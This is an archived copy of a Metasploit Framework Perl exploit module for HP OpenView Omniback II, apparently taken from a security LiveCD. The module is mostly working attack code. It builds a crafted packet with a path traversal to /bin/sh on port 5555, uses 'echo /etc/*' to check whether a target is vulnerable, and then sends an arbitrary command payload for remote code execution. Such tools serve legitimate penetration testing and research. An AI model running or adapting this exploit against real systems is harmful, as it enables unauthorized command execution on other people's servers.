home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / openview_omniback.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  148 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::openview_omniback;
  11. use base "Msf::Exploit";
  12. use Pex::Text;
  13. use strict;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'    => 'HP OpenView Omniback II Command Execution',
  20.     'Version' => '$Revision: 1.6 $',
  21.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
  22.  
  23.     'Arch'  => [ ],
  24.     'OS'    => [ ],
  25.     'Priv'  => 1,
  26.  
  27.     'UserOpts'  =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The omniback server port', 5555],
  31.       },
  32.  
  33.     'Payload' =>
  34.       {
  35.         'Space'    => 1024,
  36.         'Keys'     => ['cmd'],
  37.       },
  38.  
  39.     'Description'  => Pex::Text::Freeform(qq{
  40.         This module uses a vulnerability in the OpenView Omniback II
  41.         service to execute arbitrary commands. This vulnerability was
  42.         discovered by DiGiT and his code was used as the basis for this
  43.         module.
  44. }),
  45.  
  46.     'Refs'  =>
  47.       [
  48.         ['OSVDB', '6018'],
  49.         ['URL', 'http://www.securiteam.com/exploits/6M00O150KG.html'],
  50.         ['MIL', '46'],
  51.       ],
  52.     
  53.     'Keys'  =>  ['openview'],
  54.  
  55.     'DisclosureDate' => 'Feb 28 2001',
  56.   };
  57.  
  58. sub new {
  59.     my $class = shift;
  60.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  61.     return($self);
  62. }
  63.  
  64. sub Check {
  65.     my $self = shift;
  66.     my $target_host = $self->GetVar('RHOST');
  67.     my $target_port = $self->GetVar('RPORT');
  68.  
  69.     my $s = Msf::Socket::Tcp->new
  70.       (
  71.         'PeerAddr'  => $target_host,
  72.         'PeerPort'  => $target_port,
  73.         'LocalPort' => $self->GetVar('CPORT'),
  74.         'SSL'       => $self->GetVar('SSL'),
  75.       );
  76.  
  77.     if ($s->IsError) {
  78.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  79.         return $self->CheckCode('Connect');
  80.     }
  81.  
  82.     my $poof =
  83.       "\x00\x00\x00.2".
  84.       "\x00 a".
  85.       "\x00 0".
  86.       "\x00 0".
  87.       "\x00 0".
  88.       "\x00 A".
  89.       "\x00 28".
  90.       "\x00/../../../bin/sh".
  91.       "\x00\x00".
  92.       "digit ".
  93.       "AAAA\n\x00";
  94.  
  95.     $s->Send($poof);
  96.     $s->Send("echo /etc/*;\n");
  97.  
  98.     my $res = $s->Recv(-1, 5);
  99.     $s->Close;
  100.  
  101.     if ($res =~ /passwd|group|resolv/sm) {
  102.         $self->PrintLine("[*] This system appears to be vulnerable.");
  103.         return $self->CheckCode('Confirmed');
  104.     }
  105.  
  106.     $self->PrintLine("[*] This system does not appear to be vulnerable.");
  107.     return $self->CheckCode('Safe');
  108. }
  109.  
  110. sub Exploit {
  111.     my $self = shift;
  112.     my $target_host = $self->GetVar('RHOST');
  113.     my $target_port = $self->GetVar('RPORT');
  114.     my $shellcode   = $self->GetVar('EncodedPayload')->RawPayload;
  115.     my ($res, $len);
  116.  
  117.     my $s = Msf::Socket::Tcp->new
  118.       (
  119.         'PeerAddr'  => $target_host,
  120.         'PeerPort'  => $target_port,
  121.         'LocalPort' => $self->GetVar('CPORT'),
  122.         'SSL'       => $self->GetVar('SSL'),
  123.       );
  124.  
  125.     if ($s->IsError) {
  126.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  127.         return;
  128.     }
  129.  
  130.     my $poof =
  131.       "\x00\x00\x00.2".
  132.       "\x00 a".
  133.       "\x00 0".
  134.       "\x00 0".
  135.       "\x00 0".
  136.       "\x00 A".
  137.       "\x00 28".
  138.       "\x00/../../../bin/sh".
  139.       "\x00\x00".
  140.       "digit ".
  141.       "AAAA\n\x00";
  142.  
  143.     $s->Send($poof);
  144.     $s->Send($shellcode.";\n");
  145. }
  146.  
  147. 1;
  148.